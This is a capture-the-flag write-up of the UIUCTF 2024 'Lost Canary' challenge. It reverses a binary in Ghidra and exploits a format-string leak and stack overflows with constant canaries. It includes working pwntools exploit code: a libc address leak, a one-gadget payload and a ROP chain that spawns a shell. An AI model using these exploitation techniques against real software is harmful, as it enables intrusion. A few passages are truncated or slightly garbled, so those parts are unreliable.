

CTFtime.org / UIUCTF 2024 / Lost Canary

ctftime team

Challenge

The challenge comes with a buch of files: The most relevant one is the challenge binary itself. The other files are the libc, the loader and the Dockerfile used for deployment on remote and a Makefile that gives a hint that the source code of the challenge was generated by a python script.

The challenge itself consists of two parts: First we have to reverse the binary and then we have to exploit it in order to get the flag on a remote instance.

Reversing the binary

After importing the binary into Ghidra, we first noticed that the binary even has symbols. This is quite uncommon, since most reversing challenges come with stripped binaries, since function names often reflect what a function does and would therefore spoil the entire challenge. Aside from some default functions added by the compiler, there are three interesting functions: `main`, `select_station` and 32768 similar numbered functions of the format `station_xxx`.

main

So let's start with `main`.

```
undefined8 main(void)
{
    setvbuf(stdout, (char *)0x0, 2, 0);
    setvbuf(stdin, (char *)0x0, 2, 0);
    puts("SIGPwny Transit Authority Ticketmaster.\nPardon our slow UI!");
    select_station();
    return 0;
}
```

`main` first does the obligatory call to `setvbuf` to disable the caching on `stdin` and `stdout`. This is necessary, to ensure that the input and especially the output of the challenge is not cached and can therefore be used by the participants to better script the interaction with the challenge. While Ghidra does quite a good job on decompiling the code a human readable C-like code, it does not resolve macros. So to verify that the value `2`` really disables caching, we can use Ghidra's equates and find the correct macro for the function call.

The remaining part of `main` just prints a welcome text and calls `select_station`.

select_station

So let's move on to `select_station`. After some renaming of variables and changing the type of `index` from `uint` to `int` to get a more natural `-1` instead of the `0xffffffff` originally decompiled by Ghidra, we end up with the following code:

```
void select_station(void)
{
    undefined8 buffer;
    undefined8 buffer_8_8;
    undefined local_18;
    int index;

    index = -1;
    buffer = 0;
    buffer_8_8 = 0;
    local_18 = 0;
    printf("Enter station number: ");
    fgets((char *)&buffer, 0x10, stdin);
    puts("Traveling to station: ");
    printf((char *)&buffer);
    putchar(10);
    index = atoi((char *)&buffer);
    if ((uint)index < 0x8000) {
        /* WARNING: Could not recover jumtable at 0x00464a2e. Too many branches */
        /* WARNING: Treating indirect jump as call */
        (*(code *)&DAT_0065d044 + *(int *)&DAT_0065d044 + (ulong)index * 4))();
        return;
    }
    puts("Invalid station!");
    /* WARNING: Subroutine does not return */
    exit(1);
}
```

As with `main`, we can change the representation of the function arguments and the range check with other representations like a decimal one for the range check and the call to `fgets` or a cahr one (`L'\n'`) for the call to `putchar` to increase readability.

We could furthermore use the cast of `buffer` for `fgets` and `printf` together with the length argument from `fgets` to retype `buffer` to `char[16]`. However this comes at a huge cost, since Ghidra will generate C code to zero each char of the array seperately. In contrast with the current cast as

As the name already spoils, this function asks us for a station number, converts it to an integer and then jumps to the function of the corresponding station. While Ghidra was able to decompile most of the binary, it failed in recovering the calling of the station functions. As indicated by the warning inserted by Ghidra, the code uses a long jumtable. If we switch into the disassembly at the function call, we will see, that there is lots of data that was not disassembled. If we manually mark a chunk of it for disassembly, we will see, that it really is a call to one of the station functions followed by a jump to the return. This was very likely a `switch` statement in the code generated by the python script.

We can further notice, that this function calls `printf` with a user provided input as first argument. This allows us to specify the format string, which will come handy for the exploitation part of the challenge.

With this knowledge, we can move on to the station functions.

station_o

Let's start with station_o. After some renaming, we get the following code:

```
void station_o(void)
{
    char input_buffer [4100];
    char copy_buffer [4];
    ulong canary;

    canary = __stack_chk_guard_0;
    printf("%s", "Welcome to station 0.\nEnter ticket code:");
    fgets(input_buffer, 0x1000, stdin);
    strcpy(copy_buffer, input_buffer);
    canary = canary ^ __stack_chk_guard_0;
    if (canary != 0) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}
```

The function starts with copying a canary onto the stack. While the canary normally is read from a special register that contains a canary randomly generated at application startup, this binary uses a constant from the application. The canaries generated by the kernel start with a null byte to prevent leaking it with unterminated strings right in front of it and then features seven random characters to make it unguessable. The one used in this challenge is different as it a null byte in the middle and contains 7 ASCII characters: 0x56686A4354004661.

After that, the function prints a station specific welcome banner and asks us to enter a ticket code. The code is then read into a long stack buffer of appropriate size. Immediately after that, it is copied over into another stack buffer, which in contrast is much smaller than the previous one, resulting in a stack buffer overflow. Again, this will become relevant for the exploitation part of the challenge.

Lastly, the function checks the canary and fails if the canary was altered. The xor with the following comparison to zero is just a slightly obfuscated comparison, since xor with the same value will flip all 1 bits to 0 and leave all 0 bits unchanged, resulting in all bits being 0.

station_2

Since station_1 is identical except that it uses a different canary, let's have a look at station_2 (again after some renaming):

```
void station_2(void)
{
    char buffer [4];
    ulong canary;

    canary = __stack_chk_guard_2;
    sleep(1);
    printf("%s", "Welcome to station 2.\nEnter ticket code:");
    gets(buffer);
    canary = canary ^ __stack_chk_guard_2;
    if (canary != 0) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}
```

As with both previous stations, this one copies a constant canary from the binary onto the stack, prints a station specific welcome banner, asks for some input and returns if the canary wasn't changed.

In contrast to both previous functions, the entered ticket is directly read into a short stack buffer. Furthermore and more importantly the stack buffer overflow is accomplished by calling gets, a function that reads an unlimited amount of characters from stdin into the provided buffer. As a result, there is not really a safe way of using gets.

station_7

station_7 is the next different function:

```
void station_7(void)
{
    char buffer [4];
    ulong canary;

    canary = __stack_chk_guard_6_8_8;
    printf("%s", "Welcome to station 7.\nEnter ticket code:");
    __isoc99_scanf("%s", buffer);
    canary = canary ^ __stack_chk_guard_6_8_8;
    if (canary != 0) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}
```

This function showcased some other unconvienient decompilation of Ghidra:

- short constant strings, like the "%s" in this case, are not recognized and must be typed manually, either by explicitly retyping it as char array or by setting it to TerminatedCString.
- sometimes Ghidra fails to properly deduce the length of constants/variables, as in this case, where it joined multiple constants/variables into a large string/blob. As a result, the desired portion of the large blob is extracted by Ghidra's underscore syntax. The first number is the starting position in the larger blob and the second number is the length of the data. So in this case, the canary starts at byte 8 of the blob and is 8 byte long.

The buffer overflow in this function works similar to the one in gets: The %s format specifier of scanf (__isoc99_scanf is glibc's default implementation of scanf) reads in an unlimited amount of characters, resulting in it being notoriously unsafe. To get it safe, we have to specify the length of the string, i.e. %16s.

Scrolling further through the functions does not reveal any new type of `station_xxx` function, so we can start exploiting.

Exploitation the binary

From reversing, we found three different vulnerabilities:

- A user provided format string for `printf` in `select_station`,
- a stack buffer overflow in each of the `station_xxx` functions and
- constant canaries in the `station_xxx` functions.

So let's start by a look on the application's security measures:

```
$ pwn checksec lost_canary
[*] '/tmp/lost_canary'
  Arch:      amd64-64-little
  RELRO:     Full RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
```

TLDR: `lost_canary` employs all of the commonly used security features:

- Full RELRO: For dynamic linking, all functions that come from external libraries are called over the global offset table (GOT), which is a list of function pointers. Historically this list was resolved lazily during runtime on first call of the function. Therefore, it had to be writeable, which allows attackers to change to pointer to different functions. When full RELRO is enabled, the GOT is resolved on application startup so that the GOT can be mounted read-only. (Therefore the name: RElocation ReadOnly)
- Canary: A secret value is placed above the return address onto the stack. If there is a buffer overflow, the canary gets overwritten before the return address. While this cannot prevent a buffer overflow, it helps detecting it, allowing the defender to crash the application.
- NX: Back in ancient times, the stack was executable, allowing attackers to write byte code into existing buffers and later call it. As a result, one of the first security measures introduced was to have no pages that are writeable and executable at the same time.
- PIE: Stands for Position Independent Executable. Those applications are compiled such that they can be loaded into memory at a random position. For libraries this is called Position Independent Code (PIC). The overall technique of randomizing the different memory regions of a process is called Address Space Layout Randomization (ASLR) and is the reason why the application, libraries and stack have different position on each run. This makes exploiting applications harder, since the attacker needs an address leak in order to know where the desired code/data is located. ASLR is activated by default on all major Linux distributions.

As the binary does not feature a function to get the flag, the probably easiest and most comfortable strategy is getting a shell and then using `cat` to get the flag.

Since we don't have writable and executable memory region, we have to work with existing code to get a shell. The most common strategy for this is by overwriting a return address on the stack. Luckily we have a sufficient stack buffer overflow to achieve this. Since the binary and libraries typically do not feature a ready-to-use function to get a shell, we have to build this from pieces. A widely used technique for this is Return Oriented Programming (ROP). For ROP, we search for instructions close to a return statement. Since this return will read an address from the stack and execute it, we can place the address of the next address there, resulting in a chain of short snippets, the so-called gadgets, forming a (ROP) chain. So we can use gadgets to prepare the first argument register for a call to `system` in order to get a shell.

Alternatively, we can make use of a one-gadget. A one-gadget is a snippet of code that, if certain conditions are fulfilled, will directly launch a shell. Since one-gadgets make exploiting applications easier, there was an effort in the last years to remove them from `libc`, such that current versions contain nearly no one-gadgets. Luckily, this challenge uses a four-year-old version of `libc`, which has plenty of one-gadgets.

Leak libc address

To use such gadgets, we have to know their location, which is randomized by ASLR. The needed leak can be achieved by the format string injection in `select_station`. This works because of two features:

1. `atoi` parses a string until the first char that is no valid digit. This allows us to first specify a station and then some format string injection that leaks us the location of `libc`.
2. `printf` assumes a suitable amount of arguments. The first arguments are taken from the appropriate registers, while the sixth and following arguments for the format string are read from stack. Furthermore, we can use format specifiers like `%12$p` to read the 12th format argument without first reading all previous ones. This is important as our format string is restricted to 16 bytes.

To find a suitable argument, we can run the challenge in GDB and break at `printf`. Since plain GDB is quite basic, I'm using `pwndbg`, which is an extension that features advanced commands that make debugging much more enjoyable. After setting the breakpoint (`break printf`), and starting the application with `run`, `pwndbg` stops at the first call to `printf`. Since this just prints the text of the prompt, we must continue the execution. Now we can enter the station number and our format injection. Since we are only interested in the stack layout of the format injection, the input is irrelevant. For assuring that we correctly assumed that the sixth argument is the first on the stack, let's use the following input: `AAAAAAAA %6$p`. If we are right, it should first print 8 As, followed by the hex representation of those 8 As, `0x4141414141414141`. Now the debugger breaks again, this time on the desired call to `printf`. With the command `stack 20`, we can view the 20 topmost stack entries:

```
pwndbg> stack 20
00:0000 | rsp 0x7fffffff168 → 0x5555558b89e7 (select_station+109) ← mov edi, 0ah
01:0008 | rdi 0x7fffffff170 ← 'AAAAAAAA %6$p\n'
02:0010 | -018 0x7fffffff178 ← 0xa7024362520 /* ' %6$p\n' */
03:0018 | -010 0x7fffffff180 → 0x7ffff7ffd000 (_rtld_global) → 0x7ffff7ffe2e0 → 0x55555554000 ← 0x10102464c457f
04:0020 | -008 0x7fffffff188 ← 0xffffffff00000000
05:0028 | rbp 0x7fffffff190 → 0x7fffffff1a0 → 0x7fffffff240 → 0x7fffffff2a0 ← 0x0
06:0030 | +008 0x7fffffff198 → 0x555555930a84 (main+85) ← mov eax, 0
07:0038 | +010 0x7fffffff1a0 → 0x7fffffff240 → 0x7fffffff2a0 ← 0x0
08:0040 | +018 0x7fffffff1a8 → 0x7ffff7db2c88 (__libc_start_call_main+120) ← mov edi, eax
09:0048 | +020 0x7fffffff1b0 → 0x7fffffff1f0 → 0x7ffff7ffd000 (_rtld_global) → 0x7ffff7ffe2e0 → 0x55555554000 ← ...
0a:0050 | +028 0x7fffffff1b8 → 0x7fffffff2c8 → 0x7fffffff6aa ← '/tmp/lost_canary'
0b:0058 | +030 0x7fffffff1c0 ← 0x155554040
0c:0060 | +038 0x7fffffff1c8 → 0x555555930a2f (main) ← endbr64
0d:0068 | +040 0x7fffffff1d0 → 0x7fffffff2c8 → 0x7fffffff6aa ← '/tmp/lost_canary'
0e:0070 | +048 0x7fffffff1d8 ← 0xb802e69ebc3b6672
0f:0078 | +050 0x7fffffff1e0 ← 0x1
10:0080 | +058 0x7fffffff1e8 ← 0x0
11:0088 | +060 0x7fffffff1f0 → 0x7ffff7ffd000 (_rtld_global) → 0x7ffff7ffe2e0 → 0x55555554000 ← 0x10102464c457f
12:0090 | +068 0x7fffffff1f8 ← 0x0
13:0098 | +070 0x7fffffff200 ← 0xb802e69ebdb6672
```

There we can see our input starting right after the return address at index one. We can furthermore spot the return address into `main` and the further down at index 8 the return address from `main` back into `libc`. So let's use that address for finding the base address of `libc`. After accounting for the arguments from the registers, the wanted `libc` leak is at argument 13. When we now continue execution, we will see the expected output from our carefully crafted verifier from earlier. If we wouldn't have that knowledge, we would have to experiment a bit until finding the correct index for a stack argument.

With that knowledge, we can start our exploit script. We can generate some base exploit template with

```
$ pwn template --host lost-canary.chal.uiuc.tf --port 1337 --libc libc-2.31.so lost_canary > lost_canary.py
```

This template contains mostly boiler plate code that allows us to easily switch between local and remote and to run our exploit with GDB attached. The relevant part is the one at the end between `io.start()` and `io.interactive()`. There we can interact with our instance. So let's start by leaking the libc address. For further development, I specify the station in a variable.

```
station = 0

io.start()

# wait for "Enter station number: " and send our wanted station with format string injection
io.sendlineafter(b"Enter station number: ", f"{station} %13$p".encode())
# skip boiler plate text
io.recvuntil(b"Traveling to station: \n")
# skip until the space in our format string
io.recvuntil(b" ")
# recv the leaked address and parse it as int
leak = int(io.recvline(), 16)
# get the base of libc and assign it to our libc object
libc.address = leak - libc.libc_start_main_return
# log leaked address in hex
log.info(f"found libc at {libc.address:#x}")

io.interactive()
```

Since the return address from `main` into `libc` is quite commonly used, `pwntools` is so kind to explicitly feature it as `.libc_start_main_return`. The subtraction works, since `pwntools` by default assumes the binary is loaded with a base address of 0, so that the subtraction just removes the offset of the instruction returned to, resulting in the base address of the library.

Let's test the leak. The boiler plate code also features a variable named `gdbscript`. This variable contains commands that are executed if we start the exploit with GDB. Since we want to verify the leak, let's replace the temporary break point at `main` with our break at `printf`:

```
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
break printf
continue
'''
```

Furthermore, we want to add the following line to the script, to split our `tmux` session horizontally with GDB on the right and our exploit on the left (the default is a vertical split with exploit on the top and)

```
context.terminal = ["tmux", "splitw", "-h"]
```

Alternatively, we can make the setting permanently in one of the possible config files, for example in `~/.config/pwn.conf`:

```
[context]
terminal=["tmux", "splitw", "-h"]
```

If we now start the script locally with GDB, we can compare the location of the `libc` with the leaked one from our script. To do that, we first start the script in `tmux` with `python lost_canary.py GDB LOCAL`. Now the script will interact with the challenge and break at `printf`. Likey previously, we have to continue at the first `printf`. Since we also want to see the output of `printf` to get a proper leak, we finish the call to `printf`. Now we have the `libc` leak logged in our script and can compare it with the real one. To get the `libc` base address, we can use the command `vmmap` in GDB, which will list us all memory regions, including those for `libc`. The first entry of `libc` should be equal with our logged address.

```
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
Start      End Perm  Size Offset File
0x55555554000 0x55555555000 r--p 1000 0 /tmp/lost_canary
0x55555555000 0x5555555931000 r-xp 3dc000 1000 /tmp/lost_canary
0x5555555931000 0x5555555c12000 r--p 2e1000 3dd000 /tmp/lost_canary
0x5555555c12000 0x5555555c13000 r--p 1000 6bd000 /tmp/lost_canary
0x5555555c13000 0x5555555c54000 rw-p 41000 6be000 /tmp/lost_canary
0x5555555c54000 0x5555555f01000 rw-p 3000 9aa000 /tmp/lost_canary
0x7ffff7dd3000 0x7ffff7dd5000 rw-p 2000 0 [anon_7ffff7dd3]
0x7ffff7dd5000 0x7ffff7df000 r--p 22000 0 /tmp/libc-2.31.so
0x7ffff7df000 0x7ffff7f6f000 r-xp 178000 22000 /tmp/libc-2.31.so
0x7ffff7f6f000 0x7ffff7fbd000 r--p 4e000 19a000 /tmp/libc-2.31.so
0x7ffff7fbd000 0x7ffff7fc1000 r--p 4000 1e7000 /tmp/libc-2.31.so
0x7ffff7fc1000 0x7ffff7fc3000 rw-p 2000 1eb000 /tmp/libc-2.31.so
0x7ffff7fc3000 0x7ffff7fc9000 rw-p 6000 0 [anon_7ffff7fc3]
0x7ffff7fc9000 0x7ffff7fcd000 r--p 4000 0 [vvar]
0x7ffff7fcd000 0x7ffff7fcd000 r-xp 2000 0 [vdso]
0x7ffff7fcd000 0x7ffff7fcf000 r--p 1000 0 /tmp/ld-2.31.so
0x7ffff7fcf000 0x7ffff7fd0000 r-xp 23000 1000 /tmp/ld-2.31.so
0x7ffff7fd0000 0x7ffff7ffb000 r--p 8000 24000 /tmp/ld-2.31.so
0x7ffff7ffb000 0x7ffff7ffd000 r--p 1000 2c000 /tmp/ld-2.31.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 2d000 /tmp/ld-2.31.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0 [anon_7ffff7ffe]
0x7ffff7fff000 0x7ffff7fff000 rw-p 21000 0 [stack]
0xffffffff600000 0xffffffff601000 --xp 1000 0 [vsyscall]
```

Getting a stack buffer overflow

As next step we need a working stack buffer overflow to overwrite the return address of one of the `station_xxx` functions with our ROP chain. So let's take a closer look at the four functions involved in our different buffer overflows:

- `fgets`: Stops at a newline
- `gets`: Stops at a newline
- `scanf` with `%s`: Stops at a whitespace
- `strcpy`: Stops at a null byte

In order to pass the canary, we have to overwrite it with the same value. Since the canaries are constant values from the application, we know the value. The problem is, that most of the canaries contain at least one character that will trigger the stop of one of the input functions. so we have to find a function with a canary that does not

Our first naive approach was to just execute the function with `pwntools` `process`, overwrite the return address with an invalid value and search for an instance that crashes. This would work, since if the canary would contain a stopper character, the additional input characters would be ignored and the application would just exit normally. Unfortunately, this does not work, since we were unable to get the return code of the process. The next best alternative would be to execute the process in a shell chained with an echo to register a successful termination (`lost_canary && echo FINE`). After some testing, we ditched this approach, because it was quite slow.

```
# for a nice progress bar
import tqdm

# find a suitable station for overwriting the complete canary
def get_station():
    # pwndbg skips the endbr64, which is 4 bytes
    scanf = f"call{exe.symbols['_isoc99_scanf']-4:#x}\n"
    strcpy = f"call{exe.symbols['_strcpy']-4:#x}\n"
    fgets = f"call{exe.symbols['_fgets']-4:#x}\n"
    gets = f"call{exe.symbols['_gets']-4:#x}\n"

    # iterate over all station functions and their canaries
    for i in tqdm.tqdm(range(31768)):
        # disassemble the function and replace spaces to be sure to match
        code = exe.disasm(exe.functions[f"station_{i}"].address, exe.functions[f"station_{i}"].size).replace(" ", "")
        # get the canary
        guard = exe.read(exe.symbols[f"__stack_chk_guard_{i}"], 8)

        # continue with next station if a stopper was found
        if gets in code or fgets in code:
            if b"\n" in guard:
                continue
        if scanf in code:
            found = False
            for w in string.whitespace.encode():
                if w in guard:
                    found = True
                    break
            if found:
                continue
        if strcpy in code:
            if b"\0" in guard:
                continue
        # if we haven't returned until here, we have found a suitable station
        return i
    # notify us, if we haven't found a matching station
else:
    log.failure("didn't found a match")
    exit(0)
```

When a library function is called, the code calls a little snippet that gets the address of that function from the GOT and calls the function. The collection of these snippets is called Procedure Linkage Table (PLT).

As previously, pwntools offers us simple functions to get the address and the size of functions, an easy to use disassembler and a function to read the canaries. Please be aware, that pwntools will create a folder in `/tmp` to execute the disassembling of a function. Since we call the disassembler quite often, this will spam your `/tmp` until the script may clean it up during exit.

```
void station_14927(void)
```

```

{
    char local_14 [4];
    ulong local_10;

    local_10 = s_FovQMN_ZCz_JakRieBnJLdMI_SD_pYOZ_007dc257._49_8_;
    sleep(1);
    printf("%s", "Welcome to station 14927.\nEnter ticket code:");
    gets(local_14);
    local_10 = local_10 ^ s_FovQMN_ZCz_JakRieBnJLdMI_SD_pYOZ_007dc257._49_8_;
    if (local_10 != 0) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}

```

The function features a call to `gets`. IF we want to see the canary, we can switch to the constant and clear the code bytes. Now, our symbol is properly displayed and we can read the canary: `eY iEuas`.

Get a shell

With that out of the way, we can build our ROP chain. As explained earlier, we have two possibilities:

1. a one gadget
2. a rop chain to call `system("/bin/sh")`

one gadget

Before we start the process of finding a suitable one gadget, let's first ensure, that we execute the binary with the correct `libc`, as different versions of `libc` populate registers with different values in lots of functions. If we use our generated exploit script, `pwntools` will handle that. Otherwise, we can use `patchelf` to set the interpreter and library path such that the application loads the provided loader and `libc`. We have to also set the loader, since it is coupled with the `libc` and having a version mismatch will likely cause a crash on startup.

```
patchelf --set-interpreter /tmp/ld-2.31.so --add-rpath . --output lost_canary_local lost_canary
```

For some unknown reason

Since one gadgets must fulfill certain conditions, let's break at the start of `station_14927` and step with `ni` (for next instruction) until we reach the return. Or we can again use `finish`, but this also executes the return. As a quality of live feature, GDB automatically executes the last command, if we just hit enter. With the `context` command, which is automatically executed every time we break, i.e. after each `ni`, we can get a good overview of the current state.

```

pwndbg> finish
Run till exit from #0 0x000055555556e01fe in station_14927 ()
AWelcome to station 14927.
Enter ticket code:
0x000055555558ef4dc in select_station ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ REGISTERS / show-flags off / show-compact-regs off ]
*RAX 0x7361754569205965 ('eY iEuas')
*RBX 0x555555930a90 (__libc_csu_init) ← endbr64
*RCX 0x7ffff7fc1980 (__IO_2_1_stdin_) ← 0xfbad208b
*RDX 0x0
*RDI 0x7ffff7fc37f0 ← 0x0
*RSI 0x7ffff7fc1a03 (__IO_2_1_stdin_+131) ← 0xfc37f0000000000a /* '\n' */
*R8 0x7ffffffffffe1b4 ← 0x41 /* 'A' */
R9 0x0
*R10 0x555555931033 ← 0x6c65570000000000
*R11 0x246
R12 0x55555555551c0 (__start) ← endbr64
R13 0x7ffffffffffe2f0 ← 0x1
R14 0x0
R15 0x0
*RBP 0x7ffffffffffe1f0 → 0x7ffffffffffe200 ← 0x0
*RSP 0x7ffffffffffe1d0 ← '14927 %13$p\n'
*RIP 0x5555558ef4dc (select_station+224098) ← jmp 555555930a2ch
-----[ DISASM / x86-64 / set emulate on ]-----
▶ 0x5555558ef4dc <select_station+224098> jmp 555555930a2ch <select_station+491698>
↓
0x555555930a2c <select_station+491698> nop
0x555555930a2d <select_station+491699> leave
0x555555930a2e <select_station+491700> ret
↓
0x555555930a84 <main+85> mov eax, 0
0x555555930a89 <main+90> pop rbp
0x555555930a8a <main+91> ret
↓
0x7ffff7df9083 <__libc_start_main+243> mov edi, eax
0x7ffff7df9085 <__libc_start_main+245> call 7ffff7e1ba40h <exit>
↓
0x7ffff7df908a <__libc_start_main+250> mov rax, qword ptr [rsp + 8]
0x7ffff7df908f <__libc_start_main+255> lea rdi, [rip + 18fdd2h]
-----[ STACK ]-----
00:0000 | rsp 0x7ffffffffffe1d0 ← '14927 %13$p\n'
01:0000 | -018 0x7ffffffffffe1d8 ← 0xa702433 /* '3$p\n' */
02:0010 | -010 0x7ffffffffffe1e0 → 0x5555555555100 (printf@plt) ← endbr64
03:0018 | -008 0x7ffffffffffe1e8 ← 0x3a4fffffe2f0
04:0020 | rbp 0x7ffffffffffe1f0 → 0x7ffffffffffe200 ← 0x0
05:0028 | +008 0x7ffffffffffe1f8 → 0x555555930a84 (main+85) ← mov eax, 0
06:0030 | +010 0x7ffffffffffe200 ← 0x0
07:0038 | +018 0x7ffffffffffe208 → 0x7ffff7df9083 (__libc_start_main+243) ← mov edi, eax
-----[ BACKTRACE ]-----
▶ 0 0x5555558ef4dc select_station+224098
1 0x555555930a84 main+85
2 0x7ffff7df9083 __libc_start_main+243
3 0x55555555551ee __start+46

```

Now we only need a list of one gadgets to find a suitable:

```
$ one_gadget libc-2.31.so
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL || r15 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
```

If this list does not feature enough one gadgets, we can get a longer list by increasing the level (e.g. -1 10). In this case, we already have a match: The second entry in the list fulfills our conditions.

So lets build the remaining part of the exploit:

```
rop_chain = p64(libc.address + 0xe3b01) # one_gadget with rdx & r15 == NULL
# buffer + canary + base pointer + return address
payload = b"A"*4 + b"eY iEuas" + p64(0) + rop_chain
# overflow buffer
io.sendlineafter(b"Enter ticket code:", payload)
# get the flag by hand
io.interactive()
```

ROP chain

With our ROP chain, we want to call `system("/bin/sh")`. As a result, we need to set `rdi`, the register for the first argument, to a pointer to `/bin/sh` and call `system`. Getting the string `/bin/sh` is no problem, since `libc` needs it internally for `system`. Furthermore the address of `system` can easily be obtained by `pwntools`. `Pwntools` also provides `p64`, a function to pack an integer into 8 bytes in the endianness needed by our application. The only common problem with ROP chains are instructions operating on `xmm` registers. Those registers are 128 bit wide and their instructions require the stack to be aligned to 16 bytes. As a consequence we have to align the stack correctly. This can be achieved by a `ret` gadget, as it simply pops a return address from the stack and doesn't change anything else, i.e. a `ret` gadget is some sort of `nop` for ROP. The rest of the procedure is identical to the one gadget case.

```
# find a set of rop gadgets
rop = ROP(libc)
# build rop chain
rop_chain = b""
# prepare first argument
rop_chain += p64(rop.rdi.address)
# set it to /bin/sh, this is a string in libc as it is needed for system
rop_chain += p64(next(libc.search(b"/bin/sh\0")))
# correctly align stack
rop_chain += p64(rop.ret.address)
# call system
rop_chain += p64(libc.symbols.system)
# buffer + canary + base pointer + rop chain
payload = b"A"*4 + b"eY iEuas" + p64(0) + rop_chain
# stack:
"""
eY iEuas
0
pop rdi; ret
-> /bin/sh
ret
system
"""
```

Flag

If now run the exploit, we get a shell.

By examining the Dockerfile, we can locate the flag at `/flag.txt`:

```
FROM ubuntu:20.04 as chroot
FROM gcr.io/kctf-docker/challenge@sha256:eb0f8c3b97460335f9820732a42702c2fa368f7d121a671c618b45bbeadab28

COPY --from=chroot / /chroot
RUN mkdir -p /chroot/home/user
COPY ./lost_canary /chroot/home/user
COPY ./flag.txt /chroot/

COPY nsjail.cfg /home/user/

CMD kctf_setup && \
  kctf_drop_privs \
  socat \
    TCP-LISTEN:1337,reuseaddr,fork \
    EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /home/user/lost_canary"
```

The `/chroot/` at the beginning of the path is consumed by the `nsjail` of `kctf`, which effectively sets `/chroot/` as our root folder (`/`).

As a result, we can receive the flag, by using `cat`:

```
$ cat /flag.txt
uiuctf{the_average_sigpwny_transit_experience}
```